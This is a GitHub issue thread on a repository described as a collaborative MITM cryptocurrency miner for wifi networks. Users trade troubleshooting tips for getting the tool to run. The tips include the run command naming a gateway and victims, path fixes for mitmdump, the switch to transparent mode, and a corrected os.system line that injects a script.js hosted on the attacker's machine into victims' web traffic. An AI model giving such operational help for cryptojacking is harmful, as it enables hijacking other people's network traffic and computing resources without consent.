arnaucube / coffeeMiner

collaborative (mitm) cryptocurrency mining pool in wifi networks
http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
GNU General Public License v3.0
1.07k stars 281 forks source link

Problem with mitmproxy #26

Open biubiu-1 opened 6 years ago

biubiu-1 commented 6 years ago

When I run coffeeMiner.py, mitmdump was not found, like this:

sudo python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.120'] sh: 1: /usr/bin/mitmdump: not found

I have edited line 28 in coffeeMiner.py, and mitmdump exists in /usr/bin. What's wrong?

joshrosen735 commented 6 years ago

I am having the same issue - exactly.

sudo python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.120'] sh: 1: /usr/bin/mitmdump: not found

mitmdump is in /usr/bin, and no amount of troubleshooting has gotten me anywhere

biubiu-1 commented 6 years ago

My problem has solved by installing Kali . My previous Ubuntu seems unsuitable for this program.

givemhell commented 6 years ago

I am having the same issue

and im running kali...

ragekillen commented 6 years ago

my issue was it checked

os.system("~/.local/bin/mitmdump ....") so i changed it to os.system("/usr/bin/mitmdump ........") manually and it resulted in working code

givemhell commented 6 years ago

Thank you for the update on this I will give it a try when I get home

You may resolve the major headache that I had planned on dealing with later this week

ragekillen commented 6 years ago

no problem if its still not working after the edit try using root@kali:/# locate mitmdump that will tell you the true location of mitmdump then apply that location instead.

I dont think you will have a problem with it being in another location though, by default its installed to /usr/bin

phphubert commented 6 years ago

This code is no longer suitable for the new version of mitmdump

givemhell commented 6 years ago

Its been an issue sense i first posted here, even tried to re-write the code with the updated commands, ive given up at this point

-t doesnt work had to be changed to --mode transparent (if i recall its been a few months)

Changing that got me past that error but gave me a few new ones

the best thing you can do is downgrade I guess but it seems like more hassle than it's worth at this point

I've looked for other people who have made modifications and such and there was only one that was decently good and even then the code had to be Rewritten and fell into more problems

nikidziuba commented 2 years ago

If someon is still having this problem: There is an error with quotes. You can fix this by replacing line 28 with:

os.system("/usr/bin/mitmdump -s injector.py 'http://<PC IP>:8000/script.js' --mode transparent")

If there's a mitmdump not found error: Replace /usr/bin/mitmdump with correct location (you can get it with sudo locate mitmdump)